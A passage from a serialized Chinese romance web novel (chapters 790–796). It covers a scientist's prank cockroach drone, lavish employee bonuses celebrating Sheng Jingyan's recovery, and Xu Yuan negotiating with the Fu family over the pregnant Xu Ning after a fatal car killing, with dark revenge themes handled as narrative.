没有什么是被自己命中注定的敌人看到自己狼狈一幕更丢脸的! 许镇江却不再理会大吵大嚷的许宁,他甚至担心许愿拉黑自己活着不愿接听自己的电话,此刻带着男公关就去了盛世堵人。 傅长海被撞死的事还没传开,许愿当然不知道这件事。 研究所内,段星河狗狗祟祟的拼接着机械智能,许愿进来的时候就看到他这模样,走过去拍了拍他的肩:“你又弄什么乱七八糟的东西呢?” 第790章 段星河你是狗吗! 不怪许愿说段星河喜欢拼接乱七八糟的东西,实在是这人没少乱搞。 上个月拼接了个会唱歌的遥控飞机,上礼拜拼接了会狗叫的兔子,前天还拼接了一台会讲冷笑话的垃圾桶,全都是奇奇怪怪的东西,直到现在研究所里的科研人员累了的时候都会几个人吃着点心边放松边凑在一起听垃圾桶讲冷笑话。 段星河被她着一拍吓了一跳,一回头看到是许愿才翻了个白眼。 “哪里是乱七八糟的东西,是非常实用的东西,比你那个麻雀只能无人机还要厉害!” 这就开始比上了? 许愿是想到苏青莲提到可以做更小的无人机,譬如苍蝇大小,不过许愿觉得恶心就没实验。 难道段星河做出来了? “到底多厉害?”许愿问他。 段星河叉腰,伸出手,然后一点一点张开手,“当当当当!看!” 就见到段星河掌心一个南方经常出没得双马尾动物在他掌心窝着,感受到许愿的目光后似乎朝着她的脸就飞过去了。 “段星河啊啊啊啊!你赶快给我把这鬼东西收起来!” 许愿最害怕什么?毛毛虫和蟑螂,现在段星河就做出了蟑螂形状是智能无人机,甚至真的往她脸上飞,距离许愿的脸还有几厘米的时候许愿大叫着把蟑螂拍到段星河的脸上。 许愿气的都快哭了。 “段星河你是狗吗!” 她的手碰过那东西了!她脏了! 许愿抽了湿巾就开始擦着掌心,一张不够又连着抽了好几张,擦完就往段星河脸上丢。 段星河捧着自己的小强无人机撇撇嘴:“我这无人机比你那麻雀更小更逼真!怎么还要被骂!” 许愿此刻真的觉得苏青莲想到弄苍蝇都是对她的仁慈了。 毕竟也没谁会想着直接弄蟑螂。 而段星河呢,甚至是不声不响的直接自己设计安装好了,不声不响的给她来了个大的。 好好好,段星河你了不起。 段星河根本不知道许愿心里想了多少,他还在为自己的蟑螂无人机据理力争。 “麻雀那么大只很容易被人发现的,蟑螂就不一样了,这么小一只,很难被发现的!” 许愿:“……” 信你个鬼。 许愿深吸了一口气,揪住段星河的后衣领:“你要做个实验看看你的蟑螂能多会搞事吗。” “实验就实验,这么小一只到底谁能看到啊。”段星河忍不住碎碎念。 呵,这还是小看了蟑螂的威力。 蟑螂!凭什么跟麻雀比!它不配! 段星河捧着自己的蟑螂无人机到了其它研究室,一群研究院都在做实验,没人注意到两人过来,段星河直接放飞了自己才拼接好的会飞的小蟑螂。 段星河用遥控操控着自己的小蟑螂飞到自己那个看起来胆子最大的女助手旁边。 那么小一只怎么可能被发现,段星河得意的等着自己的蟑螂无人机重新飞回来。 女助理在拼接最后一环的零件,扶了下眼镜一低头就看到自己手边一只黑色的双马尾。 女助理:“……” 然后段星河就见识到了什么是一团糟,他那个单子最大的女助理用这么多年他见识过的最高分贝惨叫的喊着“蟑螂!” 只一句话,周围的研究员全部都停下了此刻手中的动作,目光齐刷刷的落到了女助理的身上,有人胆子小跳到了椅子上,有的人浑身发氧的到处乱摸好像自己浑身上下都有虫子在爬,一群人全都没心思做实验“轰隆隆”的追着一只小蟑螂到处跑。 打翻了投影仪,打翻了酒精灯,打翻了数个软件设备。 好好的研究室,因为一只蟑螂人心涣散,哀嚎惨叫求救和追着打的叫喊声一度让段星河以为自己是误入了某种奇怪战场。 直到研究室内的一位年轻的男研究员抓住那只蟑螂无人机就要拍死。 段星河眼皮一跳:“住手!” 男研究员这么紧急状况下竟然真的停下了即将拍到蟑螂身上的动作,甚至有些惊诧的望着段星河。 “段老师!” 见到段星河,一群人委屈的叽叽喳喳说着那只蟑螂有多可怕,因为一只蟑螂毁掉了多少研究器材。 罪魁祸首蟑螂的父亲段星河:“……” 他不理解,只是一只小强,有这么可怕吗? “那是我研究的新型蟑螂无人机,仿真款!才不是真的蟑螂!”段星河有点恼羞成怒。 得到答案的研究员们几乎是目瞪口呆的看着他,眼神里都透露着三个大字:“你有病!” 气死了!都不懂他! 段星河气呼呼的把自己的蟑螂无人机抢回来转身就走,结果一转头就看到许愿幸灾乐祸。 可恶,还有看戏的。 段星河走出研究室看到刑从景赶紧就走过去,直接抓住刑从景的手就往他手心放了自己的蟑螂无人机。 刑从景:“……” 刑从景面无表情,但手却没有动。 段星河满意了。 看吧,这不是有不怕蟑螂的吗。 “邢队,你看到这东西的瞬间你想做什么?”段星河问。 刑从景慢条斯理回应:“拿纸巾捏爆。” 段星河:“……” 段星河眼神颇为幽怨,他指着他掌心的蟑螂:“这是我按照许愿研究的那种麻雀无人机研制安装出来的仿真蟑螂无人机,难道不比许愿的麻雀无人机更有价值?” 刑从景唇角抽了抽。 他确实没看出来这东西是仿真无人机。 “段老师知道正常人看到这东西的第一眼都会做什么吗?” 段星河不知道,他甚至觉得自己的研究员那些反应太夸张了,完全不了解他的良苦用心,全都超级没用。 “正常人看到蟑螂第一时间不是尖叫就是会拍死,这种情况下,蟑螂无人机会被人为损坏无法使用吧。”刑从景说的确实是常人看到蟑螂的反应,南方人可能已经习惯了,但北方是很少看到这种东西的,看到必尖叫,有一只就会觉得家里有无数只,会翻箱倒柜去找其他蟑螂然后去买蟑螂药。 所以用蟑螂外形来做无人机,想都不用想了。 第791章 大概是因为他长得帅 段星河的想法是好的,可惜没有考虑到普通人看到蟑螂会有的反应。 段星河满脸写着不服,好一会儿才蔫哒哒的捡回自己的机械小强,只几下就把小强身体拆了。 “你们真无趣,算了,我去研究新能源呢。” 不玩了就躲嘛! 段星河跑了。 许愿此刻都还没从那机械蟑螂带给她的阴影回过神呢。 为了安慰那群被吓到的研究员,许愿特地给他们放了假,知道这些人宅不喜欢出去聚餐,特地把华庭的餐叫到研究所,算是安抚。 研究员心道,看吧看吧,能怪他们想跟着许愿吗? 他们段老师整天把她们吓成什么样了,想一出是一出,不像许总,还知道事后安抚。 换做是段老师,那是需要他们过后去安抚段老师,然后违心的夸奖他的蟑螂可爱的! 实在是……实在是说不出这话啊! 到了下班的时间许愿才去见了盛景炎,盛景炎恢复的事盛世已经传开了,今天不少盛世的员工借着交报表的机会到顶层偷看盛景炎的,见自家BOSS是真的恢复了那叫一个激动。 往日里没少被其他人抨击说什么他们许总迟早会腻了盛总这样的残疾人,看看!盛总恢复健康了,天王老子来了盛总跟许总也是天生一对儿,谁也不能分开他俩!锁死! 许愿推开办公室的门进去就看到办公桌上堆满了文件,地上还摆了不少花篮水果,上面还都有贺卡。 许愿随手拿起一捧花,就见上面写着预祝他们两人百年好合白头到老的话。 “什么情况?” 盛景炎无奈的捏了捏眉心:“那群人听说我的腿好了,都上来送祝福送礼物的,闹腾了一整天,倒是把我当动物园大熊猫观赏了。” 烦是有点烦,但员工们也是好心。 再说了,每一个来的员工都会嘴甜的祝他们天长地久什么的,甚至还有甚者唱了首情歌,盛景炎是无奈又有点想笑。 “那你还挺得民心啊?”许愿凑过去,见他桌上还摆着杯香草拿铁,一看就是给自己准备的,便捧起来喝了口。 这才走近盛景炎自然而然的把许愿揽进怀中轻笑道:“大概是因为我长得帅吧。” 许愿啧了一声,放下杯子,两只手捧住盛景炎的脸。 “嗯,是好看,不好看我也不能选择跟你在一起啊。” 盛景炎的颜值自然是没得挑的,是那种无关精致却带着英气的俊秀,浑身上下都透着骨子桀骜的劲头,特别是那双眼睛,弯一下笑一下就特别深情。 “那还多亏了我这张脸了。”盛景炎凑过去轻轻的吻了下她的耳垂,轻咬了下。 被他死死搂抱住亲吻的时候许愿也是自然的搂住他的脖子。 “这些文件都看完了?那下班?”许愿扫了眼桌上那一大摞文件。 盛景炎听她提到这个就更无奈了。 “哪里是什么紧要的文件,都是早先批过的,他们就是知道我恢复了故意来看看热闹,全都是一群吃瓜群众。” 文件就是来凑数的。 许愿实在忍不住被盛世的员工逗笑了。 “你的腿都好了,给他们加一个月工资吧,盛世的盛总腿恢复正常这么大的事肯定要发点福利了,这次多发一个月工资,我再看看要发点什么福利。” “他们有心,我们也不能装看不见。” 盛世是大公司,员工可不少,一个人多发一个月工资不算小数目,不过许愿是不差钱的,当下就给助理发了条指令编辑了条邮件发给盛世员工。 这个点马上就要下班了,结果这个时间所有人都收到了一封邮件,还以为要加班开会呢,众人有些怨声载道。 结果打开邮件一看就呆了。 邮件内容赫然是因盛景炎双腿恢复完好,各部门职员这个月双倍薪水,同时派发了帝城价值一千元的海鲜自助券、一张价值五千元的商超购物卡,另外可以参与抽奖,特等奖是一辆价值百万的车,特别参与奖也是一台品牌烤箱,只要参与了绝对不会有空奖一说。 “我靠!” 看清楚邮件内容的工作人员都惊了。 “我要给盛世当一辈子员工啊!” 给公司打工,别说什么公司爱,给钱给东西拿才是爱,这才是实际的。 盛世这操作让盛世员工激动的不行,直接就截图了邮箱内容发到网络上,最后还祝盛景炎和许愿幸福美满一辈子,好听话说了一大箩筐。 盛世的的员工福利本来在国内就是非常好的,平日里完成工作可以提前下班,甚至有些部门可以弹性工作,又特定的休息区,游戏区和茶水间,每年的生日都会有特别的生日礼物,部门会为其庆生,年终奖更是大数目,现在又来了这么一出,打工人牛马看了就羡慕。 因为这,盛世股价都在涨。 #想去盛世工作# 想去盛世工作着相关的信息也长了热搜,就因为这个,盛世的HR当天就收到了不少投递简讯。 其实本来投递简历的人就多,多数都是冲着许愿来的,现在更多,是为了福利来的,硬是让盛世在网上又火了一把。 但这事儿没得喷,公司想给员工多点福利的事,谁会喷啊,打工人恨不得公司都卷起来发福利呢。 上热搜这事儿没在许愿预料之中,发完邮件她就已经打算跟盛景炎回家了。 因为那邮件,盛世员工看到俩人就傻笑,张口就祝百年好合,还有不知道说什么的现场百度说了一串儿祝福语。 许愿也是有些无奈,等出了盛世也已经是十分钟以后了。 许愿和盛景炎还没上车呢,角落里的许镇江便带着一个身形高大的男人冲出来。 盛景炎微微皱眉将许愿护在身后。 许镇江看着似乎又瘦了很多,他面上都带着愁容,看到许愿时脸上都是勉强的讨好的笑。 “阿愿,我今天来找你是想求你一件事。” 许愿面色平静的看着许镇江:“你来找我无非是为了许宁,我说过跟许宁有关的任何事都不需要找我,我不会管。” 第792章 娇惯出了什么恶魔 许镇江来见许愿前就猜到许愿对自己不会有什么感情,说不定会冷嘲热讽,可是为了许宁他不得不来见许愿。 他就只有许宁这个血脉,没了许宁,就真的是孤家寡人了,就算是跪着求也要许愿救下许宁。 他也不能为许宁做更多事了。 “许愿,我没求过你什么事,这么多天我更是没有主动打扰过你,可现在宁宁是真的要出事了,我没有办法,我不知道去求谁,我只能来见你。”许镇江声音很低,明显带着承受不住的哭腔,似是看到许宁的下场在难过一般。 许愿望着他,根本没有要跟他再多交流的心思。 盛景炎拦在许愿身前,眼底都是凉意:“你自己也该知道许家曾经是怎么对阿愿得,现在来找阿愿,是想道德绑架?许镇江,你怎么有脸再求到阿愿身上,许宁对阿愿做的,死一百次都不够。” 许镇江哪里不知道许家曾经对许愿多过分,当初许宁那般冷待许愿设计许愿也是他默认的甚至推波助澜为了许宁去欺辱许愿。 说他们父女坏事做尽也没错。 若是有别的办法许镇江哪里可能会求到许愿面前来。 许宁撞死的可是傅长海啊!当初傅长海那么针对许愿,傅京礼不也护住了傅长海?现在许宁冒认许愿身份的事傅京礼已经知道清楚了,绝不会再对她手下留情,偏偏这种时候许宁撞死了傅长海。 傅家人不会放过许宁的,她做的事就算是死了也要被人扒出来鞭尸的程度。 “许愿,我是真的没有办法,你救救她!” “我知道我是混账!可当初也是我帮了苏青莲和唐清江!如果不是我,苏青莲怎么能真的诈死瞒过了唐家瞒过了其它家族的人带着唐清江的身体逃离了华国!就算我做了再多恶事可确实是我救了他们!” “如果没有我,唐清江的身体早就被解剖了!他的大脑也会被研究院那群疯子拿去做研究!” “我就算在坏,可我帮过你父母,你就当我挟恩图报,算我求你,你帮帮宁宁!” 许镇江这话确实没说错。 当年苏青莲虽然聪明且也有些人脉,但那时她那些人脉还没有成为如今的参天大树,就算集结到一起也无法对付根深蒂固的一些国大家族,若非是苏青莲故意选了许镇江做出嫁人的假象,那些人也不会从苏青莲身上移开目光。 那时候唐清江是真的遭人嫉妒的,他家世好相貌好,甚至研究上也有所成就,那时候的华国还没有如今的地位,唐清江发生意外后那研究院的激进派疯子确实打算解剖唐清江,他们认为一个成为植物人甚至永远醒不过来的人不如被他们解剖做出最后的贡献,或许可以用他的大脑或者基因能复制出另一个唐清江这样优秀的天才。 就连当时的唐家人也被约谈,为的就是获得唐家人首肯,唐家人为了维护自己的地位,确实同意了让他们解剖唐清江。 若非是苏青莲知道这消息偷走了唐清江的身体,早在十几年前唐清江就已经被人解剖,且可能细胞或者大脑都要被那群人继续冷冻分析研究。 可恶到令人作呕的地步。 许愿抿唇盯着他:“许宁到底做了什么,我要听真话。” 许镇江说的没错,就算许愿对苏青莲有怨,但是经历过那个世界后她也知道苏青莲对她并非没有感情,而且……苏青莲现在也算救了栩栩和黎云笙,最重要的事许镇江确实阴差阳错的救了父亲。 如果没有许镇江当年对苏青莲的疯狂,或许唐清江早就死了,苏青莲也会在报复那群人后随着唐清江赴死,她不会有父亲也不会有母亲。 所以不论许镇江是怎样的恶人,他确实帮了他们。 现在问题的关键,她要知道许宁到底做了什么。 许宁一直都是个疯子,她根本不知道许宁会背着他们惹出多少事端。 若是简单的许镇江根本不会找上她,现在的情况许宁不知是惹了多大的祸事需要许镇江求到自己面前来。 许镇江见她终于说了句软话,似是打算插手了,有些紧张的赶紧笑了笑,缓了片刻才支支吾吾的开口:“宁宁就是因为以前的一些遭遇太恨傅嘉誉,所以想撞傅嘉誉,结果意外撞死了傅长海。” 他说的不算委婉,且也说表达清楚了意思。 许愿似是有些没听太明白,也或者是不想听明白。 她盯着许镇江看了许久,嗓音都带着点哑意:“傅长海就这样死了?” 许镇江讪笑两声,此刻却不知道自己该回许愿句什么。 斗了这么久的人突然就死了。 许愿当然知道傅长海会死,也该死,所以她没有改变那些人判处他死刑的结局,她唯一做的是不想让傅嘉誉伤心,不想让傅嘉誉知道一切,她只不过是希望维护傅嘉誉所以一时起了善心帮了傅长海一把。 他可以死在任何人手中,可以是狙击手秘密狙击,可以是意外车祸,可以是突发疾病,但不该是在这种时候当着傅嘉誉的面被撞死。 是的,被撞死。 傅嘉誉亲眼看着最疼爱自己的父亲,自己的血亲当着自己的面被撞死。 这是多可怕的噩梦。 “她是疯子吗。” 许愿哑声道:“许镇江,你看你都娇惯出了什么恶魔。” 对许愿来说许宁就是个恶魔,还是会将她自己害死的恶魔。 “她因为嫉妒傅嘉誉所以想撞死傅嘉誉,你知道傅嘉誉在傅家有多受宠吗?傅老爷子,傅京礼,傅守越最疼的都是她,她想撞死傅嘉誉就是跟傅家人为敌,现在傅长海救了她却被撞死,你猜猜看傅京礼会不会发疯,傅守越会不会报复!她毁掉了一切!” 也毁掉了许愿为他争取来的最后的十天,毁掉了傅嘉誉最后的美梦。 一切全都被毁了。 只因为许宁那可笑的妒忌心。 “许镇江,人……至少不应该做到这种牲畜不如的地步。” 第793章 许宁救不得 “许宁都已经到这份儿上了,你还打算让我怎么救?”许愿问他。 她自己都觉得这话说出来的时候其实挺好笑的。 “我想宁宁活着……许愿,我就只有这一个血脉了……你要帮她,你必须要帮她!” 许镇江是真的将许愿看做了最后的救命稻草,在他眼中许愿什么都能做到,就算许宁犯了这样的祸事她也能拯救许宁。 这种言论惹得许愿实在想发笑。 她自己都不知道自己有这么大的能耐能拯救许宁。 “你不明白吗?许宁现在能为了所谓的嫉妒心杀人,以后就能继续因为这可笑的嫉妒心杀人。” “你想让我怎么救她?就算我真的去见了傅家人,就算我真的用利益救回了许宁,明面上我能让许宁活着,可暗处的手呢?你真的以为傅家会完全放任许宁逍遥法外?他们甚至不想依法办理这件事,他们更像私下解决这件事。” “私下解决,许宁会遭受到什么你自己也想得到。” “傅家人会做这些我真的十分理解兵认同,因为谁也不知道许宁什么时候会再次发疯然后去杀害傅嘉誉,经历这次的事傅家人不会再给许宁任何机会,许镇江,但凡你是个聪明人就该明白我的意思。” 许愿盯着他一字一顿:“就像有人盯上了阿炎,第一次杀人未遂,但如果我知道那人我一定不会给她再次下手的机会,怎么样才能让我的爱人没有危险,杀掉那个会制造危险的人,只有死人才没办法继续制造危险。” 所以许宁救不得。 许镇江苦着一张脸还要去求许愿。 “许镇江,我问你,就算傅家真的开口放过她,你能保证许宁再不作恶吗?你能用你和许家现在剩下的一切去保证吗。”许愿逼问。 许镇江一时哑然。 他没办法保证,因为许宁疯起来没人能控制。 而他虽然爱许宁,却也仅因为许宁是他这世界上唯一的血脉,他爱的只是这血脉而非许宁,所以他不愿意用自己的东西去保证许宁。 “你不敢开口,连你都知道你无法控制许宁,许宁就是个变数,有她在只会不停的搅弄是非,这次傅家没来找你你还打算护着她,如果我说傅家可能会因为这件事对你对许家出手呢。”许愿冷笑:“你不会真的天真到认为傅家这样仁慈,你也该知道养不教父之过,许宁被养成这样,你功不可没。” 的确如此。 若非这些年许镇江一直在许宁面前灌输那些思想她就不会那样偏执,如果许镇江没有不停的让她嫁入豪门,许宁或许也会安安分分,是许镇江一步步逼她成了疯子。 最初许宁对许愿产生嫉妒心里迫害许愿时,许镇江若是开口阻止,她也不会变成现在这样。 罪魁祸首是许宁吗? 不,是许镇江。 许愿一直坚信荀子人性之恶的言论,诞生到这世上的人若是没有身边人正确的教导改正,迟早会结出恶之果。 许宁,已经算是大恶。 许镇江有些痛苦的几乎要跪到地上,他此刻似乎也明白了许愿的意思,整个人几乎不敢去接受许愿说的话。 许愿平静的看着他:“许宁是救不回来的,我现在再给你一次机会,你希望我帮你做什么。” 许镇江赤红着双眼:“宁宁肚子里怀着陆眠的孩子,我不求宁宁能活下来,我希望宁宁能把这个孩子生下来,好歹给我们许家留个念想,我还希望你让傅家不要继续针对许家,许家现在经不起折腾了,往后我们会小心度日,不会再招惹旁的家族,也不会再给你惹什么麻烦。” “许愿,算我求你,让宁宁安稳生下那个孩子!” 许镇江太爱苏青莲,他是决不允许自己去碰其它女人的,且当年会有许宁也是因为苏青莲给他选了个舞女,他一直觉得这血脉是跟苏青莲有关联的。 他不会有其他子嗣了,所以太在意这一脉的后代。 不管男女,起码有人连接这血脉就足够了。 许愿面无表情的看着许镇江,眸中带着明显的凉意,她也只是端详几秒后移开目光然后落到他说的那个男公关陆眠身上。 陆眠的相貌其实是有几分像傅守越的,不然那晚许宁也不会认错人。 这人身高腿长有个好相貌,虽然曾经在夜店是个男公关花钱就能雇来的人,但五官倒是好看,眼神也是清正的,并非什么偷奸耍滑大奸大恶之辈。 许愿看人自然是准的,所以只是瞥了眼便知道这人心性大抵是不错的。 “许宁怀的是你们两人的孩子?”许愿问他。 陆眠愣住了,他一直站在许镇江身后当个背景板,其实在看到许愿的时候整个人都僵在了原地。 陆眠当然听说过许愿的名字,盛世现在的总裁,盛景炎的未婚妻,更是研发出了抗癌药物和3D相关的智能AI,有关许愿的消息在网络上总是传的沸沸扬扬。 他在夜店工作的时候也听过那些花钱雇他陪酒的女人提到过许愿,有说许愿是吾辈楷模的,有说许愿给女人长脸的,也有嘲讽许愿这么多专利说不定是靠那张脸换来的。 有人喜欢她有人嘲讽她,但不出意外的都知道她。 所有人提到她都会先提起她的颜值,好像在那些人眼里她的颜值相貌比她研发的东西更惹眼更重要。 他一直都在想,到底是要美到什么程度才会让这样多的人为之倾倒? 直到现在,陆眠终于见到了那些人口中惊为天人的许愿。 是真的美,美到陆眠只看一眼就觉得可能要被她的美貌灼伤,是那种看一眼都觉得会玷污她的高贵的明艳的美。 他甚至在这一刻觉得没有任何人能配得上她,任何人站在她身边都会是陪衬。 是的,男人在她面前就是陪衬。 陆眠目光再度落到了盛景炎身上,此刻却觉得盛景炎的运气实在是好的离谱。 若非是盛景炎在许愿最脆弱的时候出现,他是不可能得到许愿的。 第794章 今晚想睡浴室? “你在看我?”许愿并没有因为他此刻的目光而生气,她能感受到这人并没有什么恶意,真的只是欣赏。 “好看吗。”许愿问他。 盛景炎听她开口不由得挑了下眉,然后握住了许愿的手捏了下,许愿抬眸笑了下像是安抚。 陆眠看着两人这样自然的互动还有些晃神。 “好看。”陆眠不知怎么的开口:“盛总运气真好,在那个时候遇到许总。” 对陆眠来说盛景炎就是运气好,因为喜欢许愿的人太多了,换做是谁都能为许愿做到那份儿上,不就是给股份给资产吗?如果这些东西能带给许愿安全感,那大把大把的人愿意将自己的资产全部都转给许愿。 毕竟许愿的身份摆在这里,她能创造更多的财富。 盛景炎幸运在许愿最失意的时候遇到她,且那个时间还怀了孩子,若非那时候有孩子而许愿想为孩子找个父亲组建家庭……如果不是这样她不会答应盛景炎的追求,只会离这个花花公子越远越好。 所以盛景炎确实运气好。 盛景炎也是这么认为的,所以他不觉得这是侮辱。 许愿却笑了下:“大概是我们的运气都很好才会遇到彼此。” 她不觉得盛景炎配不上自己,盛景炎本身的存在就足够了。 “我会找傅家人亲自谈,这个孩子或许是可以保住的,不过我有条件。”许愿说到这里目光却落在两人身上:“你们确定能答应吗。” 许镇江自然是想要听许愿想说什么。 “为了防止这个孩子成为第二个许宁,孩子需要陆眠亲自教养。” 许镇江顿了下点了头,这没什么好拒绝的,有后代就行,他看着陆眠也是个好的,陆眠养也挺好的,他不会因为这跟许愿起冲突。 陆眠也点头同意:“好,我会亲自教养孩子。” 许愿继续道:“有机会的话陆眠你可以多读点书,许家以前的公司现在在我手里,现在是职业经理人在管理公司,后续我会让陆眠一点点接手公司,算是我对许家最后的一点优待,也算是还了当年许镇江你曾经间接帮过我父亲的恩情。” 许镇江听闻有些激动。 他一直都因为许家的公司被吞并而内疚悔恨,现在公司能回来那再好不过了! 陆眠有些紧张:“我……我不行的……” 他紧张推脱。 许愿淡淡的看他:“会有职业经理人带着你,我没有将公司交给许镇江是因为他已经老了跟不上时代潮流。” “当然公司交给你不是没有条件的,我虽然跟许镇江没什么更多的感情,但说到底他曾经确实帮过苏青莲和我父亲,所以虽然我不会为他养老也会给他安排好后面的事,你需要承诺往后会照顾你和许宁的孩子且为许镇江养老。” “如果你答应我的条件,那公司就会是你的。”说到这里许愿微微挑眉又看了他一眼:“当然,你也可以娶妻,只要那人家世清白不会欺负你和许宁的孩子那我是不会干涉你未来的事,毕竟你还年轻,不过你也需要承诺往后只有这一个孩子,你若是真的答应我的要求几天后我会让人带你去做手术,未来你都不会有其它血脉。” 许愿这一做法是真的绝,不给对方背叛的机会。 陆眠愣住了,似乎是没反应过来许愿说的这些,他以前就是个小人物,也没想过真的会有这么大的饼砸中自己啊。 他以前本也没想过结婚,毕竟在帝城连房子都买不起还结什么婚啊让人姑娘跟自己受罪,他那时候就想着能入赘谁家就好了,可真正有点钱的也看不上他的出身。 他本来就是孤儿,无父无母的没打算结婚更没打算要孩子,所以许愿说的这些他是真的完全不在意啊。 能继承许家公司,先前傅守越还给了一笔钱给了一套房,现在许愿又给了东西,只让他承诺给许镇江养老养大他和许宁的孩子就足够了。 至于以后跟其他女人结婚这个他也只是想了下,如果真遇到了结婚了也可以,不要孩子那绝对没问题,做绝育手术也行啊。 这怎么看都是他占便宜,这是多少男人求都求不来的。 只要他不贪婪不违背许愿的心思,以后那就都是好日子了。 能在夜店当男公关还哄了那么多女顾客的人能是蠢的吗,立刻想明白利害关系,赶紧答应下来。 许愿见此深深的看他一眼:“记住你说的话。” 话落,许愿跟盛景炎上了车,许镇江望着她的背影老泪纵横。 他是真的没想到到这份儿上许愿竟然还顾忌着他。 车子已经开远了,正好路遇红灯,盛景炎偏头看向身边的爱人:“你同情许镇江?还是为了苏青莲女士和唐先生偿还曾经的那点恩情?” 许愿开了盒牛奶,插了吸管进去,挑眉看他一眼:“你自己猜,猜不到你今晚就睡浴室。” 盛景炎忍不住轻笑:“你陪我的话浴室也不是不行。” 许愿:“……” 他这话说的许愿很想踹他。 “不跟你胡闹了,我给傅守越打个电话,这件事我还需要跟他商量。” 如非必要,许愿是不想见傅京礼的。 盛景炎明白她的心思,所以这会儿倒是没发动车子,等她打了电话确定在什么地方见面再开车。 傅守越接电话的速度并不算快,大概是真的有些身心俱疲,接通电话后声音中都带着些许疲惫感。 “嘉誉现在离不开我,我最多只能给你十分钟时间。” 这十分钟还是因为傅嘉誉现在睡着了他才挪出来给了许愿见面谈话的时间。 坦白来讲他跟许愿真的不熟,甚至因为傅京礼的关系两边没怎么联系过,但这次傅长海的事情他知道是许愿找人做的,为的是不连累傅嘉誉,这份情他承了,也是感谢的。 若非是许宁横插一脚,本该是有个好一点结局的。 傅守越环抱着已经苦累被打了镇定剂的傅嘉誉,眸中都带着明显的忧愁。 第795章 许愿,你这样过于愚蠢 傅嘉誉现在是无法离开傅守越的,只要看不到傅守越她就会还害怕所以即便是傅嘉誉现在睡着了傅守越也不会走远到傅嘉誉看不到的地方。 他和许愿约在傅嘉誉休息的一间空旷病房。 他跟许愿不熟,并不知道许愿找他是想说什么,只是沉默的看了许愿和盛景炎一眼等两人开口。 傅守越看着时间,目光却只微微落在两人两人身上目光很冷淡的扫了一眼。 “我想知道你打算怎么处理跟许宁相关的事。”许愿并没有转移话题说些杂七杂八的,毕竟傅守越给她的时间确实不多。 傅守越本来还算平静的面容在此刻瞬间冰冷,那双本该看着带几分温润的眼眸都溢满寒意,他盯着许愿看了几秒才冷淡道:“所以是许镇江求了你?” “许愿,人可以善良,但你这样就过于愚蠢了。” 傅守越嘲讽:“许宁都干了些什么我不相信你不清楚,许镇江对你做过什么你心里也明白,如果你是正常人,你好歹应该加把火,觉得麻烦也应该袖手旁观只等着看戏就足够了。都这种时候了你还要站出来帮他们,如果你真的脑子有问题就去看医生,江惊蛰就在这里,你真该去做个脑部CT,而不是在这里问我要怎么处理许宁的事。” 傅守越的话说的毫不留情,盛景炎皱眉,许愿却并不在意傅守越这些话,她还是那副平淡的样子。 “我明白你的意思,但如果真像你说的那样我该在这种时候跟着添一把火或者袖手旁观……那傅长海的事我也就不会插手了。” 许愿淡淡道:“你该明白如果傅长海这件事我没有拦住的话,现在的傅家会被多少人攻击,而傅嘉誉更是首当其冲。” 傅守越当然明白,他连着嗤笑几声。 “所以你现在来找我说这些是什么意思。” “我没说让你放过许宁,许宁做的恶事自然是要偿还的,你为傅长海报复也好为傅嘉誉报复也好你都随意,就算你真的想到什么可怖的手段我也不会插手,就像你说的我恨许宁,我没打算插手她的事,是死是活或者生不如死我都不在意。”许愿仍看着傅守越,然后开口:“我只需要许宁安全生下她肚子里的孩子,其他的我不会管的。” 傅守越眉头紧皱:“你是为了那个孩子?” “坦白来说他作为许宁的孩子我是该厌恶的,但说到底我跟许镇江之间也确实有联系,他想有个后我便应下了,不论如何许宁做了再多的恶她肚子里的孩子是无辜的,毕竟孩子不只是她一个人的,还是陆眠的。”许愿说的直接。 “陆眠?”傅守越眸中讥讽之意很足:“难为你能记得一个男公关的名字。” “是个不错的名字,我只要她诞下这个孩子,以后这孩子会有陆眠教导,如果未来这孩子真的做了恶事你想怎么对付我都不会管的。” “等许宁生下孩子后随便你们傅家怎么报复那就是你们的事了。” 她看着确实没打算帮许宁。 傅守越盯着她又看了许久。 他本来都已经想好了,许宁不是怀了孩子吗?那就让她被保出,对于许宁来说监狱才是最安全的地方,只要许宁被放出来可操作的就多了,他会让人不知不觉的被运到海外,傅守越从来不是什么善人,特别是对于许宁更不会手下留情。 他当然知道海外有哪些地方堪比曾经M国的暗网,有人就喜欢许宁这种怀孕的,甚至有些妇人难产对那些人都是乐趣,傅守越知道这种地方却从没管过,因为那些地方就是蛮夷文化,他们玩的也是他们当地的女性,这样愚昧落后的地域是没办法教管的,就是许愿去了也没有改变的可能。 那种地方对傅守越来说最适合现在的许宁。 他会让人将许宁关在那地方关一辈子,让她永远都逃不出来,永远都跑不掉。 可惜,现在许宁找上门了,这件事还有待商榷。 许愿说的当然是没问题的,许宁的孩子是无辜的,那个孩子不仅是许宁的还是陆眠的,且这次许愿确实帮了傅家。 如果不是许愿,傅长海就算是死几乎也会拉拽着傅嘉誉下地狱,因为他曾经做过的事全部都会推到傅嘉誉的身上,嘉誉就会变成杀人犯的女儿。 哪怕她是傅家的千金也绝对会被嘲讽被厌恶,傅家也会被上层带上有色眼镜观察良久。 这样的影响极其恶劣。 所以傅守越愿意给许愿面子,本来许愿也没打算放过许宁不是吗。 “这件事我同意了,傅家对许宁的一切报复会挪到她生子后。”傅守越盯着许愿看了几秒,突然像是很轻的笑了下。 “许愿,你这样的人活着难道不累吗,好像永远不能随心所欲,你做任何事都被绳索束缚着。” 他当然看得出来许愿做任何事都是有原则的,哪怕是真的针对谁最后也会利用法律,当然海外的人除外,就算当初傅长海伤害了盛景炎,许愿确实开车撞了傅长海也还是留他一命,当时的情况如果许愿真的撞死了傅长海,上面也只会护着她将一切真相都完全掩藏,甚至担心傅家的报复会将傅家的势力一点点蚕食干净。 但许愿并没有这样做,她就算是商业上面的针对都是光明正大的。 “这世界上真正随心所欲的只有疯子,如果没有道德和法律约束那就是吃人的社会,现在毕竟是新社会不是什么古老封建皇权至上的古代,就算真是那个时候,集结****和皇权的皇帝不也没办法随心所欲?” 许愿淡淡道:“这次谢谢你们给我面子,往后我也会约束许家不会让他们在叨扰傅家。” 说到这里一切都已经清楚明了。 傅守越也没再说更多,只站起身去看隔壁的傅嘉誉,傅嘉誉还在睡着,但眼睛还是肿的,傅守越轻叹了一声,用冰块给她冰敷着眼睛。 第796章 凭什么跟盛景炎比 “嘉誉,我该怎么做。” 傅守越目光落在她苍白的脸上,内心仍然沉沉的疼着。 她现在只有睡着的时候才会这样安静,他现在宁愿傅嘉誉睡着而不是醒来后继续因为傅长海难过。 他已经不知道要如何安慰嘉誉了。 